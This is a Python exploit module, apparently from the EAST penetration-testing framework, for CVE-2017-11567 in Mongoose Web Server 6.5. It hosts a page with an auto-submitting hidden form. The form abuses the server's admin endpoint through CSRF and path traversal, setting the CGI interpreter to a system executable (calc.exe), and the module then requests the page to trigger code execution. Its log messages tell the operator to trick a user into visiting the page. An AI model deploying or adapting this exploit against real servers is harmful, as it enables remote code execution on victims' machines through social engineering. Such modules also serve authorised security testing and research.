#! /usr/bin/env python
# -*- coding: utf_8 -*-
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution

import sys
import os
import socket
import time

sys.path.append("./core")
from Sploit import Sploit
from WebHelper import SimpleWebServer

INFO = {}
INFO['NAME'] = "efa_mongoose_web_server_rce"
INFO['DESCRIPTION'] = "Mongoose Web Server 6.5 - CSRF / Remote Code Execution"
INFO['VENDOR'] = "https://cesanta.com/"
INFO['DOWNLOAD_LINK'] = ''
INFO['LINKS'] = 'https://www.exploit-db.com/exploits/42614/'
INFO["CVE Name"] = "CVE-2017-11567"
INFO["NOTES"] = """Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page can execute system commands on the system hosting Mongoose server. 
This module execute calc.exe
"""

INFO['CHANGELOG'] = "05 Sep, 2017. Written by Gleg team."
INFO['PATH'] = 'Exploits/Client_side/'

# Must be in every module, to be set by framework
OPTIONS = {}
OPTIONS['HOST'] = '127.0.0.1', dict(description = 'Target IP')
OPTIONS["PORT"] = 8080

class exploit(Sploit):
    def __init__(self, host = "", port = 0, logger = None):
        Sploit.__init__(self, logger = logger)
        self.name = INFO['NAME']
        self.port = port
        self.host = host
        
    def args(self):
        self.args = Sploit.args(self, OPTIONS)
        self.port = int(self.args.get('PORT', self.port))
        self.host = self.args.get('HOST', self.host)
        
    def make_data(self):
        return '''<form action="http://127.0.0.1:8080/__mg_admin?save" method="post"><input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe"><input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe"><input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe"><script>document.forms[0].submit()</script></form>'''
        
    def run(self):
        self.args()
        self.log("Attacking {}".format(self.host))
        
        self.log('Trick user to visit your ip via internet explorer to port ' + str(self.port))
        
        server = SimpleWebServer('0.0.0.0', self.port)
        server.add_file_for_share("index.html", self.make_data())
        server.start_serve()
        
        self.log('Waiting 60 seconds')
        time.sleep(60)
        
        server.stop_serve()
        self.log("Executing calc.exe")
        
        s1 = socket.socket()
        
        try:
            s1.connect((self.host, self.port))
            s1.sendall('GET / HTTP/1.1\r\n\r\n')
            s1.recv(1024)
        except Exception as e:
            self.log(e)
            self.finish(False)
        finally:
            s1.close()
        
        self.finish(True)
        
if __name__ == '__main__':
    """
        By now we only have the tool mode for exploit..
        Later we would have standalone mode also.
    """

    print "Running exploit %s .. " % INFO['NAME']
    e = exploit('', 80)
    e.run()
